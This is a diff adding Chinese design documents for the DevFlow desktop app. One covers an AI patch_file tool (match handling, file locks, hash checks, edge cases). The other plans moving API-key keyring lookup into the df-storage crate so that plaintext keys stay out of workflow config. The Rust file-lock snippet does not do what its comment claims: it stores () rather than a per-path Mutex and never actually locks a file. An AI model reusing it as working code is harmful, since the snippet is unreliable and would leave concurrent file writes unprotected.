文件中有 N(N>1) 处相同 old_text:
|
||||
→ 仅替换第 1 处
|
||||
→ 返回 warning: "⚠️ 匹配到 N 处,仅替换第 1 处"
|
||||
→ AI 收到 warning 后可加 before/after_text 缩小范围重试
|
||||
```
|
||||
|
||||
**不选**「全部替换」(太危险,可能批量错改)或「拒绝执行」(太严格,第 1 处往往就是目标)。
|
||||
|
||||
### 决策 3:并发安全 — 文件级 Mutex(不用队列)
|
||||
|
||||
#### 为什么不用队列
|
||||
|
||||
| 维度 | 通用文件锁队列 | DevFlow 实际需要 |
|
||||
|------|-------------|-----------------|
|
||||
| 范围 | 全局、所有会话、所有文件 | 仅 join_all 并发窗口 + 远期多会话 |
|
||||
| 粒度 | 每文件独立 FIFO 队列 | 文件级 Mutex 就够 |
|
||||
| 复杂度 | 高(调度/超时/死锁检测) | **极低(~15行)** |
|
||||
| 场景 | 多用户 / 分布式 | 单进程单用户桌面应用 |
|
||||
|
||||
#### 当前真实并发源
|
||||
|
||||
```
|
||||
唯一并行点: audit.rs:338 join_all — Low 风险工具并行执行
|
||||
典型场景: AI 同时 list_projects + read_file + (未来) patch_file 同一文件
|
||||
```
|
||||
|
||||
#### 实现
|
||||
|
||||
```rust
|
||||
use std::collections::HashMap;
|
||||
use std::path::PathBuf;
|
||||
use std::sync::Mutex;
|
||||
use once_cell::sync::Lazy;
|
||||
|
||||
/// 全局文件锁表:每个路径一把互斥锁
|
||||
static FILE_LOCKS: Lazy<Mutex<HashMap<PathBuf, ()>>> =
|
||||
Lazy::new(|| Mutex::new(HashMap::new()));
|
||||
|
||||
// handler 内使用:
|
||||
let abs_path = validated_path.canonicalize()?;
|
||||
let _guard = FILE_LOCKS
|
||||
.lock()
|
||||
.entry(abs_path)
|
||||
.or_insert_with(|| ());
|
||||
// guard drop 时自动释放
|
||||
```
|
||||
|
||||
**效果**:同一文件读写串行化,不同文件仍并行。Mutex 释放后后续操作继续。
|
||||
|
||||
### 决策 4:外部脏写防御 — expected_hash 指纹校验
|
||||
|
||||
#### 指纹选型
|
||||
|
||||
| 方案 | 精度 | 开销 | 适用 |
|
||||
|------|------|------|------|
|
||||
| **mtime + size ✅ 选定** | 秒级 | ~μs(一次 metadata 调用) | 本地桌面应用 |
|
||||
| blake3/sha256 | 内容级 | 大文件 ms 级 | 需要密码学强度时 |
|
||||
| inode + mtime | Unix 语义 | ~μs | Windows inode 不同 |
|
||||
|
||||
选 **mtime + size**:DevFlow 是本地桌面应用,「外部修改」= 用户切 VS Code 改了几行再回来,时间差 >1s。实现最简单。
|
||||
|
||||
#### 流程
|
||||
|
||||
```
|
||||
read_file(path) → { content, file_hash: "1718400000_23456" }
|
||||
↓
|
||||
AI 基于内容决策 ↓
|
||||
patch_file({ path, expected_hash: "1718400000_23456", ... })
|
||||
↓
|
||||
后端:
|
||||
① current_meta = metadata(path)
|
||||
② current_hash = format!("{}_{}", modified.timestamp(), size)
|
||||
③ current_hash != expected_hash?
|
||||
→ Err("⚠️ 文件已被外部修改(hash 不匹配),请重新读取")
|
||||
含 current_hash 让前端可选自动重读
|
||||
④ hash 通过 → 执行 patch(L2 old_text 校验 + L3 .bak)
|
||||
```
|
||||
|
||||
### 决策 5:截断策略 — 软删除标记(非真删)
|
||||
|
||||
关联 UX-2025-09 编辑消息功能。patch_file 本身不涉及消息截断,但设计原则一致:
|
||||
|
||||
```
|
||||
messages 表: status 列
|
||||
active — 正常显示
|
||||
truncated — 被编辑截断(前端不展示,后端不进 context)
|
||||
保留历史可追溯,与 WF-A soft_delete 模式一致
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 四、三层防御架构
|
||||
|
||||
```
|
||||
┌─────────────────────────────────────────────┐
|
||||
│ L1: 文件级 Mutex │
|
||||
│ 防时机冲突:同文件读写自动串行化 │
|
||||
│ 实现: HashMap<PathBuf, Mutex<()>> (~15行) │
|
||||
│ │
|
||||
│ ┌───────────────────────────────────────┐ │
|
||||
│ │ L2: old_text 精确匹配 │ │
|
||||
│ │ 防内容错配:= 乐观锁(CAS) │ │
|
||||
│ │ 内容变了 → 匹配不上 → 报错 │ │
|
||||
│ │ 实现: 内容扫描 (~20行) │ │
|
||||
│ │ │ │
|
||||
│ │ ┌─────────────────────────────────┐ │ │
|
||||
│ │ │ L3: expected_hash 指纹校验 │ │ │
|
||||
│ │ │ 防版本漂移: 外部修改检测 │ │ │
|
||||
│ │ │ 实现: metadata() (~10行) │ │ │
|
||||
│ │ └─────────────────────────────────┘ │ │
|
||||
│ └───────────────────────────────────────┘ │
|
||||
│ │
|
||||
│ 底层兜底: FR-S7 .bak 备份(误操作可恢复) │
|
||||
└─────────────────────────────────────────────┘
|
||||
```
|
||||
|
||||
各层职责独立、互补:
|
||||
|
||||
| 层 | 管 | 防什么 | 失效后果 |
|
||||
|----|-----|--------|---------|
|
||||
| L1 Mutex | 时机 | 两操作同时碰同一文件 | 数据丢失/半写 |
|
||||
| L2 old_text | 内容 | 操作基于过时内容 | 错改别处 |
|
||||
| L3 hash | 版本 | read→patch之间文件被外部改 | 基于错误版本操作 |
|
||||
| .bak | 恢复 | 以上全失效时的最后防线 | 可回滚 |
|
||||
|
||||
---
|
||||
|
||||
## 五、查找策略(line + old_text 组合)
|
||||
|
||||
```
|
||||
有 line 参数?
|
||||
├─ YES → 跳到该行,检查周围是否包含 old_text
|
||||
│ ├─ 匹配 → 替换(快速路径 ✅)
|
||||
│ └─ 不匹配(行已偏移) → 降级: 全文扫描 old_text
|
||||
└─ NO → 全文扫描 old_text
|
||||
|
||||
全文扫描结果:
|
||||
├─ 0 处匹配 → Err("未找到目标文本,文件可能已被修改")
|
||||
├─ 1 处匹配 → 替换 ✅
|
||||
└─ N 处匹配(N>1) → 替换第 1 处 + warning("匹配到 N 处...")
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 六、边界情况处理
|
||||
|
||||
| 边界情况 | 行为 | 理由 |
|
||||
|---------|------|------|
|
||||
| 文件不存在 | Err("文件不存在") | 安全第一 |
|
||||
| 文件 >1MB | warn + 继续或拒绝(复用 FR-S2 上限) | 防性能问题 |
|
||||
| 二进制文件(含 \0) | Err("不支持二进制文件") | 文本操作不适用 |
|
||||
| old_text 为空串 | Err("old_text 不能为空") | 防全文件匹配 |
|
||||
| new_text == old_text | success + warning("无实际更改") | 不浪费 I/O |
|
||||
| patches 为空 | Err("patches 不能为空") | 无意义调用 |
|
||||
| 单次 patch 文件膨胀 >900% | warn(复用 FR-S7 逻辑) | 异常检测 |
|
||||
| 目标路径是 .bak/.tmp | is_noise_file 过滤拒绝(CR-03) | 不改临时文件 |
|
||||
| 路径含 ".." | validate_path 黑名单拦截 | 路径遍历防护 |
|
||||
| RiskLevel | **Medium**(修改已有文件) | 比 write_file 同级(都是改文件) |
|
||||
|
||||
---
|
||||
|
||||
## 七、性能分析
|
||||
|
||||
| 操作 | 开销 | 对比基准 |
|
||||
|------|------|---------|
|
||||
| Mutex 获取/释放 | ~100ns(非竞争)/ μs 级(等待) | 文件 I/O 是 ms 级,可忽略 |
|
||||
| 全文扫描 old_text | O(n), n=行数(<1MB) | <1ms |
|
||||
| hash 计算 | metadata() 一次系统调用 | ~μs 级 |
|
||||
| .bak 备份 | 文件大小一次 copy | SSD ~100MB/s |
|
||||
| **总开销** | | **<5ms(<< LLM 秒级延迟)** |
|
||||
|
||||
---
|
||||
|
||||
## 八、与现有架构兼容性
|
||||
|
||||
| 维度 | 兼容性 |
|
||||
|------|--------|
|
||||
| tool_registry 注册 | ✅ 完全复用 write_file 模式 |
|
||||
| RiskLevel 分流 | ✅ Medium → 审批(白名单收紧:纯读取外全审) |
|
||||
| audit 审计日志 | ✅ process_tool_calls 自动入库 |
|
||||
| validate_path | ✅ 复用黑名单 + canonicalize |
|
||||
| .bak 备份 | ✅ 复用 FR-S7 已有逻辑 |
|
||||
| ToolCard 前端渲染 | ✅ args 键值对自动适配 |
|
||||
| 数据变更联动 AR-11 | ✅ emit df-data-changed 触发刷新 |
|
||||
| 会话级授权 AE-04 | ✅ write_file 同类操作,可纳入 session_trust |
|
||||
|
||||
---
|
||||
|
||||
## 九、实施步骤
|
||||
|
||||
### 第一批(核心三件套,~50 行后端 + 前端零改动)
|
||||
|
||||
1. **`mod.rs` 或 `tool_registry.rs` 顶层**:加 `FILE_LOCKS` 静态 Mutex(~10 行)
|
||||
2. **`tool_registry.rs`**:注册 `patch_file` handler(~40 行)
|
||||
- 参数解析 + validate_path
|
||||
- expected_hash 校验(可选,第一批可先加框架)
|
||||
- 逐 patch 执行:扫描 old_text → 替换 → 记录结果
|
||||
- .bak 备份(复用 write_file 逻辑)
|
||||
- 截断输出(stdout/stderr 各 10KB)
|
||||
3. **测试**:AI 调用 `patch_file` 改一个已知文件,验证替换正确性
|
||||
|
||||
### 第二批(增强层,按需)
|
||||
|
||||
4. before/after_text 锁定逻辑(~15 行)
|
||||
5. expected_hash 指纹校验完整接入(~10 行)
|
||||
6. read_file 返回值扩展 file_hash 字段(~5 行)
|
||||
|
||||
### 第三批(远期)
|
||||
|
||||
7. replace_all 开关
|
||||
8. regex 支持(old_regex 字段)
|
||||
9. undo stack(会话内 patch 历史)
|
||||
|
||||
---
|
||||
|
||||
## 十、替代方案否决记录
|
||||
|
||||
| 方案 | 否决理由 |
|
||||
|------|---------|
|
||||
| sed/awk via run_command | B-37 stdout 空;修好后也是间接操作,无原子性/备份/审计 |
|
||||
| write_file 全量覆盖 | 已出事故(762→248字节);大文件 token 浪费;无 diff |
|
||||
| git apply (Git-based patch) | 强依赖 git 仓库;非 git 目录不可用 |
|
||||
| JSON Patch (RFC 6902) | 面向 JSON/结构化数据;不适合自由格式文本 |
|
||||
| AST-level (tree-sitter) | 过度工程;需每语言 parser;AI 代码未必能 parse |
|
||||
| 纯 line 号编辑 | 无内容校验=并发不安全;行号漂移易出错 |
|
||||
| 全局文件队列 | 单用户桌面不需要;Mutex 够用且简单 10x |
|
||||
326
docs/02-架构设计/专项设计/secret下沉与provider注入方案-2026-06-16.md
Normal file
326
docs/02-架构设计/专项设计/secret下沉与provider注入方案-2026-06-16.md
Normal file
@@ -0,0 +1,326 @@
|
||||
# secret 下沉与 provider 注入方案
|
||||
|
||||
> 背景:AiNode 自审闭环②③④⑤已实施(commit c10adaf + 741b0b9),provider 配置注入阻塞⑥端到端联调。
|
||||
> 根因:api_key 明文经 `run_workflow config` 注入 `NodeContext.config` 违背 FR-S1 mask 设计(前端 / LLM tool_call schema 可拿明文 key)。
|
||||
> secret 解析(`ensure_resolved_key` / `resolve_provider_secret`)位于 `src-tauri/src/commands/ai/secret.rs`(app crate),df-nodes 不可依赖 src-tauri(单向 app→df-nodes)。
|
||||
> 范围:**仅设计**,不改任何 .rs/.ts/.vue 代码。
|
||||
|
||||
---
|
||||
|
||||
> ## ✅ 实施状态(2026-06-18 核对:方案 B 全量落地)
|
||||
>
|
||||
> **推荐方案 B(df-storage 加薄 secret 查询方法)已全量实施**,行为与设计一致。
|
||||
>
|
||||
> **下沉层**:`crates/df-storage/src/secret.rs`(新建,纯密钥逻辑唯一源)—— `KEYRING_SERVICE` 常量(`:26`)、failcount sidecar(`:34-56`)、get/set/delete/resolve/ensure/migrate 全套函数均下沉至此。`crates/df-storage/src/lib.rs` `pub mod secret` 暴露。
|
||||
>
|
||||
> **df-storage 依赖**:`crates/df-storage/Cargo.toml:16-18` 已加 `keyring = { workspace = true }`(注释标注 FR-S1 密钥解析下沉)。
|
||||
>
|
||||
> **src-tauri 转发壳**:`src-tauri/src/commands/ai/secret.rs:20` `pub use df_storage::secret::*;`(12 调用点路径不变),`:32-43` 保留 `build_provider_for`(依赖 `df_ai::build_provider` 不下沉,对齐设计「留 app 层避免 df-storage→df-ai 循环」)。
|
||||
>
|
||||
> **AiNode 注入链(阶段 3)**:`crates/df-nodes/src/ai_node.rs:21` import `resolve_provider_secret`/`ensure_resolved_key`;`:60-64/101-139` 三路径解析(provider_id 优先 → 老明文兼容 → 空兜底取 is_default 首条);`:166-178` 从 record 解析 provider 构造要素(resolve→ensure→base_url/api_key)。AiSelfReviewNode 同构(`:476` 起)。
|
||||
>
|
||||
> **schema**:`ai_node.rs:344-351` schema 描述 provider_id/base_url/api_key(base_url/api_key 标注「已废弃过渡」),`:351` required=[](SW-260618-15:prompt/provider_id 均「留空走兜底」与 required 矛盾,改 required=[] 对齐运行时)。
|
||||
>
|
||||
> **设计偏离**:无功能性偏离。仅 schema required 值与设计 §3.4「`["provider_id"]`」略不同(实际 `required=[]`,对齐「留空走兜底」运行时语义,SW-260618-15 决策)。
|
||||
>
|
||||
> **本文档 §1.2/§五的 file:line 索引**:原指向 `src-tauri/src/commands/ai/secret.rs` 的函数行号(resolve:97-102 等)下沉后已迁移至 `crates/df-storage/src/secret.rs`,src-tauri 文件已瘦身为转发壳(原 228 行 → 现 43 行)。查阅实际函数请走 `crates/df-storage/src/secret.rs`。
|
||||
|
||||
---
|
||||
|
||||
## 一、现状核验(file:line 证据)
|
||||
|
||||
### 1.1 secret.rs 函数清单(src-tauri/src/commands/ai/secret.rs)
|
||||
|
||||
| 函数 | 位置 | 签名 | 核心逻辑 |
|
||||
|---|---|---|---|
|
||||
| `get_provider_secret` | `secret.rs:88` | `fn(id: &str) -> Option<String>` | keyring(`devflow-ai-provider`/<id>)读密钥,空/无→None(`secret.rs:88-94`) |
|
||||
| `resolve_provider_secret` | `secret.rs:97` | `fn(record: &AiProviderRecord) -> String` | **DB.api_key 非空→直接返回**(兼容未迁移);否则 keyring 取,空→`unwrap_or_default()` 空串(`secret.rs:97-102`) |
|
||||
| `ensure_resolved_key` | `secret.rs:179` | `fn(provider_name: &str, resolved: &str) -> Result<(), String>` | 空串/纯空白→Err「未读取到密钥」;非空 Ok(`secret.rs:179-188`) |
|
||||
| `set_provider_secret` | `secret.rs:105` | `fn(id, key) -> anyhow::Result<()>` | keyring 写(`secret.rs:105-108`) |
|
||||
| `delete_provider_secret` | `secret.rs:111` | `fn(id) -> anyhow::Result<()>` | keyring 删(`secret.rs:111-114`) |
|
||||
| `migrate_secrets_to_keyring` | `secret.rs:117` | `async fn(repo: &AiProviderRepo) -> Result<usize>` | 启动一次性:DB 明文→keyring→DB 置空;失败累计 `failcount` 达 3 升级 warn(`secret.rs:117-156`) |
|
||||
| `build_provider_for` | `secret.rs:164` | `fn(record) -> Result<Box<dyn LlmProvider>, String>` | 三步打包 resolve→ensure→`df_ai::build_provider`(`secret.rs:164-175`) |
|
||||
| keyring entry | `secret.rs:83-85` | `entry_for(id)` | `Entry::new("devflow-ai-provider", id)`,服务名常量 `KEYRING_SERVICE`(`secret.rs:18`) |
|
||||
| failcount sidecar | `secret.rs:26-81` | read/write/record/clear | `<cwd>/.devflow-keyring-failcount`,`provider_id=count` 跨启动持久化告警计数 |
|
||||
|
||||
依赖:`use df_storage::crud::AiProviderRepo; use df_storage::models::AiProviderRecord; use keyring::Entry;`(`secret.rs:14-16`)。
|
||||
|
||||
### 1.2 调用点清单(下沉影响面)
|
||||
|
||||
| 调用点 | 位置 | 调的函数 |
|
||||
|---|---|---|
|
||||
| `lib.rs` 启动迁移 | `src-tauri/src/lib.rs:28` | `migrate_secrets_to_keyring(&app_state.ai_providers)` |
|
||||
| `commands/ai/commands.rs` ai_list_providers | `commands.rs:683` | `get_provider_secret`(list mask) |
|
||||
| `commands/ai/commands.rs` ai_save_provider | `commands.rs:724, 737, 740` | `set_provider_secret`(新/改写)、`get_provider_secret`(未迁移检测)、`set_provider_secret`(即时迁移) |
|
||||
| `commands/ai/commands.rs` ai_delete_provider | `commands.rs:818` | `delete_provider_secret` |
|
||||
| `commands/ai/agentic.rs` 主对话循环 | `agentic.rs:126, 128` | `resolve_provider_secret` + `ensure_resolved_key`(内联三步,B-17 复用 resolved key) |
|
||||
| `commands/ai/title.rs` 标题生成 | `title.rs:62` | `build_provider_for` |
|
||||
| `commands/ai/knowledge_inject.rs` 知识提炼 | `knowledge_inject.rs:35, 327` | `build_provider_for`(两处:embed + 提炼) |
|
||||
| `commands/idea.rs` 灵感评分 | `idea.rs:272` | `build_provider_for` |
|
||||
| `commands/project.rs` 项目导入 | `project.rs:438, 598` | `build_provider_for`(两处) |
|
||||
|
||||
**影响面**:9 文件、~12 调用点,全在 `src-tauri/commands/`。下沉后这些调用点改 import 路径(`crate::commands::ai::secret::` → `df_storage::secret::`)即可,函数签名不变,行为零变化。
|
||||
|
||||
### 1.3 ai_providers 表 schema(df-storage)
|
||||
|
||||
**models.rs**(`crates/df-storage/src/models.rs:147-159`):
|
||||
```
|
||||
AiProviderRecord { id, name, provider_type, api_key, base_url,
|
||||
default_model, models: Option<String>, is_default,
|
||||
config: Option<String>, created_at, updated_at }
|
||||
```
|
||||
|
||||
**建表 SQL**(`crates/df-storage/src/migrations.rs:488-500`,V9):
|
||||
```
|
||||
api_key TEXT NOT NULL, -- 列定义无 default、无加密、无 env 引用语法
|
||||
```
|
||||
|
||||
**CRUD**(`crates/df-storage/src/crud.rs:1113-1140`):`impl_repo!` 宏生成 AiProviderRepo,insert/update/`from_row`(`crud.rs:1034-1048`),`list_all`/`get_by_id`(宏内置)。
|
||||
|
||||
**api_key 存储形态结论**:
|
||||
- **不是 mask**(列定义无 `sk-****` 语法);**不是 env 引用**(无 `$ENV_VAR` 解析);**不是加密**(明文 TEXT)。
|
||||
- 真相:FR-S1 后 **DB api_key 列恒空**(迁移后/新建均空,`secret.rs:1-8` 模块文档明确),真实密钥唯一源 = OS keyring(service=`devflow-ai-provider`, username=provider_id)。
|
||||
- 消费读路径:`resolve_provider_secret` 先看 DB(兼容未迁移老库明文)→空则 keyring(`secret.rs:97-102`)。
|
||||
- 前端只拿到 mask:`ai_list_providers`(`commands.rs:679-686`) 用 `mask_api_key`(`commands.rs:663-671`,首尾各 4 字符 + 中间 `••••`)返回,前端 `Settings.vue:458` 编辑不回填 apiKey。
|
||||
|
||||
### 1.4 依赖链(df-nodes / df-storage Cargo.toml)
|
||||
|
||||
**df-nodes**(`crates/df-nodes/Cargo.toml:6-17`)已依赖:
|
||||
- `df-core`, `df-execute`, `df-workflow`, `df-ai`, `df-storage`, serde, tokio, async-trait, anyhow, tracing。
|
||||
- **关键**:df-nodes **已依赖 df-storage + df-ai**,可直接调 `AiProviderRepo` + `df_ai::build_provider`,无需新增 crate 依赖。
|
||||
|
||||
**df-storage**(`crates/df-storage/Cargo.toml:6-13`)依赖:df-core, serde, serde_json, anyhow, tokio, rusqlite, tracing。**不含 keyring**。
|
||||
|
||||
**keyring crate**:声明在 workspace 根 `Cargo.toml:42`(features=`windows-native, apple-native`),仅 src-tauri 引用。下沉到 df-storage 需在 df-storage 的 `Cargo.toml` 加 `keyring = { workspace = true }`(workspace 已定义,path 无需重声明)。
|
||||
|
||||
### 1.5 AiNode 现状(ai_node.rs)
|
||||
|
||||
- `AiNode` 持 `Arc<Database>`(`ai_node.rs:119-128`),注册时注入(`state.rs:260-263`)。
|
||||
- `parse_params`(`ai_node.rs:38-112`)从 `ctx.config` 读 `base_url` / `api_key`(**明文,P0 风险点**),空 key 早失败(`ai_node.rs:54-56`,对齐 `ensure_resolved_key`)。
|
||||
- `execute`(`ai_node.rs:135-138`)直接 `df_ai::build_provider(protocol, base_url, api_key, default_model)`。
|
||||
- schema `required: ["base_url","api_key"]`(`ai_node.rs:214`),`api_key` 字段对 LLM tool_call 可见。
|
||||
- AiSelfReviewNode 同构(`ai_node.rs:330-358`)。
|
||||
|
||||
### 1.6 run_workflow config 注入链
|
||||
|
||||
- IPC `run_workflow(name, dag, config, task_id, target_status)`(`workflow.rs:67-76`),`config: serde_json::Value` 由前端构造传入。
|
||||
- `executor.run(&runtime_dag, config)`(`workflow.rs:245`)→ 透传到 `NodeContext.config`(`node.rs:13-26`),节点 execute 直接读。
|
||||
- **前端目前不构造 ai/ai_self_review 节点 config**:模板由后端 `template_for`(`workflow.rs:84-92`,`task_workflow_templates.rs`)提供,节点 config 来自模板定义 + 前端 run_workflow 传入的 config 合并/覆盖。
|
||||
- config 经 IPC(明文) + NodeContext.config(明文) 两层暴露,前端 Vue devtools / LLM tool_call schema 均可拿到明文 api_key。
|
||||
|
||||
---
|
||||
|
||||
## 二、下沉方案对比(A/B/C)
|
||||
|
||||
### 方案 A:完整下沉 secret.rs → df-storage(新建 `crates/df-storage/src/secret.rs`)
|
||||
|
||||
**做什么**:把 `secret.rs` 全部逻辑(get/set/delete/resolve/ensure/migrate/build_provider_for/failcount)整体 move 到 `crates/df-storage/src/secret.rs`,df-storage 加 `keyring` 依赖,src-tauri 改 `use df_storage::secret::*;` 转发。
|
||||
|
||||
| 维度 | 评估 |
|
||||
|---|---|
|
||||
| 影响面 | 9 文件 12 调用点改 import 路径;df-storage Cargo.toml +1 依赖;df-nodes Cargo.toml 已有 df-storage 依赖(零改动);src-tauri/Cargo.toml keyring 可保留(workspace 引用)或移除(改由 df-storage 传递) |
|
||||
| 工作量 | 中:move 文件 + 改 12 调用点 import + df-storage 加 keyring feat + cargo check。约 1-2h |
|
||||
| 风险 | **keyring feature 传递**:df-storage 加 `keyring = { workspace = true }` 后,feat=`windows-native, apple-native` 随 workspace 注入,Linux 构建(df-storage 是否跑测)需补 `linux-native`。df-storage 单测若启 keyring 会触发 OS keyring 副作用(单测应 cfg-gate)。`build_provider_for` 依赖 `df_ai::build_provider`——df-storage **不依赖 df-ai**,下沉 `build_provider_for` 会打破单向依赖(df-storage→df-ai 反向,df-ai 不依赖 df-storage 但 df-storage 反引 df-ai 形成潜在循环)。需把 `build_provider_for` **留在 src-tauri**(不下沉),只下沉 resolve/ensure/get/set/migrate |
|
||||
| 收益 | df-nodes 可直接 `df_storage::secret::resolve_provider_secret`,最干净 |
|
||||
|
||||
**致命点**:`build_provider_for`(`secret.rs:164`)调 `df_ai::build_provider`,下沉 df-storage 会引 df-storage→df-ai。需拆分下沉边界(见方案 B 的边界划分)。
|
||||
|
||||
### 方案 B:df-storage 加薄 secret 查询方法(推荐) ★
|
||||
|
||||
**做什么**:
|
||||
1. **下沉**纯密钥解析逻辑到 `crates/df-storage/src/secret.rs`:`get/set/delete_provider_secret`、`resolve_provider_secret`、`ensure_resolved_key`、`migrate_secrets_to_keyring`、failcount helper。**不含** `build_provider_for`(因依赖 df-ai)。
|
||||
2. df-storage 加 `keyring = { workspace = true }` 依赖。
|
||||
3. src-tauri `secret.rs` 保留 `build_provider_for` 作为转发壳:内部调 `df_storage::secret::resolve_provider_secret + ensure_resolved_key + df_ai::build_provider`(src-tauri 已依赖 df-ai,无循环)。
|
||||
4. df-nodes AiNode/AiSelfReviewNode 调 `df_storage::secret::resolve_provider_secret(&record)` + `ensure_resolved_key` 自己拼 `df_ai::build_provider`(df-nodes 已依赖 df-ai + df-storage)。
|
||||
|
||||
| 维度 | 评估 |
|
||||
|---|---|
|
||||
| 影响面 | df-storage 新增 1 文件 + Cargo.toml +1 依赖;src-tauri secret.rs 瘦身为转发壳(保留 build_provider_for);12 调用点 import 改为 `df_storage::secret::`(build_provider_for 仍从 src-tauri 调,6 调用点不变);df-nodes AiNode 改读 provider 配置(见第三章) |
|
||||
| 工作量 | 中:move 纯密钥逻辑(约 100 行)+ df-storage Cargo.toml + 改 import + AiNode 注入链。约 2-3h |
|
||||
| 风险 | keyring feature 同 A;df-storage 单测需 mock keyring 或 cfg-gate。**无循环依赖**:df-storage 不引 df-ai,build_provider_for 留 src-tauri。最稳 |
|
||||
| 收益 | 边界清晰:密钥解析下沉、provider 构造留 app 层;df-nodes 获密钥解析能力;FR-S1 mask 链路后端闭环 |
|
||||
|
||||
### 方案 C:provider_id 注入 config + df-nodes 直查 ai_providers.api_key(df-nodes 自己解析)
|
||||
|
||||
**做什么**:config 注 `provider_id`,AiNode 用 `AiProviderRepo.get_by_id` 查 record,自己实现 keyring 解析(在 df-nodes 里复制一份 resolve 逻辑)。
|
||||
|
||||
| 维度 | 评估 |
|
||||
|---|---|
|
||||
| 影响面 | df-nodes 复制一份 keyring 解析(逻辑重复,违反 DRY);或 df-nodes 也下沉 secret(等同方案 B 但把解析放 df-nodes 而非 df-storage) |
|
||||
| 工作量 | 中,但**重复实现** |
|
||||
| 风险 | **DRY 破坏**:两份 keyring 解析逻辑(secret.rs 一份 + df-nodes 一份),未来迁移逻辑/常量(service name `devflow-ai-provider`)变更需同步两处,易漏。FAIL_THRESHOLD/failcount 等告警逻辑更难复制 |
|
||||
| 收益 | 无(被 B 完全覆盖) |
|
||||
|
||||
### 推荐:**方案 B**
|
||||
|
||||
理由:
|
||||
1. **无循环依赖**:纯密钥解析(无 df_ai 依赖)下沉 df-storage,`build_provider_for` 留 src-tauri(app 层既依赖 df-storage 又依赖 df-ai,天然适合拼装)。
|
||||
2. **DRY**:keyring 解析逻辑唯一源在 df-storage,src-tauri 与 df-nodes 共用。
|
||||
3. **df-nodes 零新依赖**:df-nodes Cargo.toml 已含 df-storage + df-ai,方案 B 下沉后直接可调,不改 crate 依赖。
|
||||
4. **FR-S1 闭环**:config 只注 `provider_id`,明文 api_key 不进 IPC / NodeContext.config,前端 / LLM tool_call schema 拿不到明文,与现有 `ai_list_providers` mask 设计一致。
|
||||
5. **最小破坏**:12 调用点中 6 个调 `build_provider_for`(src-tauri 保留,import 不变),6 个调 resolve/ensure/get/set/import 改路径,行为零变化。
|
||||
|
||||
---
|
||||
|
||||
## 三、run_workflow → AiNode provider 注入链设计(方案 B)
|
||||
|
||||
### 3.1 config 注入什么
|
||||
|
||||
**注入(明文安全)**:
|
||||
```
|
||||
{
|
||||
"provider_id": "<uuid>", // 必填,AiNode 据此查 ai_providers 表
|
||||
"prompt": "...", // 必填(可上游覆盖)
|
||||
"system_prompt": "...", // 可选
|
||||
"model": "glm-4-flash", // 可选,留空用 record.default_model
|
||||
"temperature": 0.3, // 可选
|
||||
"max_tokens": 1024, // 可选
|
||||
"task_id": "..." // 可选(自审闭环用)
|
||||
}
|
||||
```
|
||||
|
||||
**不注入(api_key/base_url/protocol 经下沉层解析,不进 config)**:
|
||||
- `api_key` ❌ — 明文,违背 FR-S1
|
||||
- `base_url` ❌ — 从 record 读(record.base_url),config 注入是冗余 + 泄漏
|
||||
- `protocol` ❌ — 从 record.provider_type 映射(openai_compat / anthropic),config 注入冗余
|
||||
|
||||
### 3.2 api_key 如何经 df-storage 层解析不进 config
|
||||
|
||||
AiNode.execute 内部链路(伪代码):
|
||||
```
|
||||
let provider_id = ctx.config["provider_id"]?; // 仅 id 进 config
|
||||
let repo = AiProviderRepo::new(&self.db);
|
||||
let record = repo.get_by_id(provider_id).await?; // 查 ai_providers 行
|
||||
let api_key = df_storage::secret::resolve_provider_secret(&record); // DB 优先→keyring
|
||||
df_storage::secret::ensure_resolved_key(&record.name, &api_key)?; // 空 key 早失败
|
||||
let provider = df_ai::build_provider(
|
||||
&record.provider_type, &record.base_url, &api_key, &model_or_default);
|
||||
```
|
||||
|
||||
**api_key 全程在 AiNode 进程内存,不出 IPC / 不进 NodeContext.config**:
|
||||
- IPC `run_workflow` 收到的 config 只有 `provider_id`(非密)。
|
||||
- NodeContext.config 只含 provider_id,LLM tool_call schema 看不到 api_key。
|
||||
- api_key 经 `df_storage::secret::resolve_provider_secret` 在 AiNode 内存解析,直达 `df_ai::build_provider`。
|
||||
|
||||
### 3.3 run_workflow 如何拿到 provider 配置注入 config
|
||||
|
||||
**前端 → run_workflow config 注入路径(三选一)**:
|
||||
|
||||
**路径 1(推荐):前端只传 `provider_id`,其余从 DB 默认 provider**
|
||||
- 前端 `ai_list_providers` 拿到 provider 列表(mask,无明文)。
|
||||
- 触发 run_workflow 时 config 注 `{provider_id: <default or chosen id>}`(或留空,AiNode 内部取 `is_default=true` 首条)。
|
||||
- base_url/protocol/model 全由 AiNode 从 record 读,前端不构造。
|
||||
- **最安全**:前端全程不接触明文,config 最小化。
|
||||
|
||||
**路径 2:run_workflow IPC 加 provider_id 顶层参数**
|
||||
- `run_workflow(name, dag, config, task_id, target_status, provider_id: Option<String>)`。
|
||||
- 后端 `workflow.rs:245` 前把 provider_id 注入 config 注入到 ai/ai_self_review 节点 config。
|
||||
- 显式更安全,但改 IPC 签名(向后兼容,Option 缺省 None)。
|
||||
|
||||
**路径 3:模板内嵌 provider_id 占位**
|
||||
- `task_workflow_templates.rs` 的 ai 节点 config 写 `{"provider_id": "{{default}}"}`,executor 注入时替换为 DB 默认 provider id。
|
||||
- 需 executor 支持 placeholder 替换,改动大。
|
||||
|
||||
**推荐路径 1**:最小改动,前端 config 注 provider_id(或留空走默认),AiNode 内部解析。run_workflow 签名不变(向后兼容)。
|
||||
|
||||
### 3.4 兼容老 config(base_url/api_key 明文)迁移
|
||||
|
||||
- AiNode `parse_params` 兼容窗口:**有 provider_id → 走下沉解析路径;无 provider_id → 走老 base_url/api_key 明文路径**(对齐现有 ai_node.rs:42-56,兼容期保留)。
|
||||
- 老路径打 deprecation warn,引导 config 迁移到 provider_id。
|
||||
- 模板(`task_workflow_templates.rs`)切到 provider_id 后,老路径仅 demo dag(ProjectDetail.vue demoDag)用,逐步淘汰。
|
||||
- schema `required` 从 `["base_url","api_key"]` 改为 `["provider_id"]`(明文路径保留但不再 required)。
|
||||
|
||||
---
|
||||
|
||||
## 四、影响面 + 风险 + 实施步骤
|
||||
|
||||
### 4.1 影响面
|
||||
|
||||
| 模块 | 改动 |
|
||||
|---|---|
|
||||
| `crates/df-storage/src/secret.rs` | **新建**:move 纯密钥逻辑(get/set/delete/resolve/ensure/migrate/failcount) |
|
||||
| `crates/df-storage/Cargo.toml` | +`keyring = { workspace = true }` |
|
||||
| `crates/df-storage/src/lib.rs` | `pub mod secret;` |
|
||||
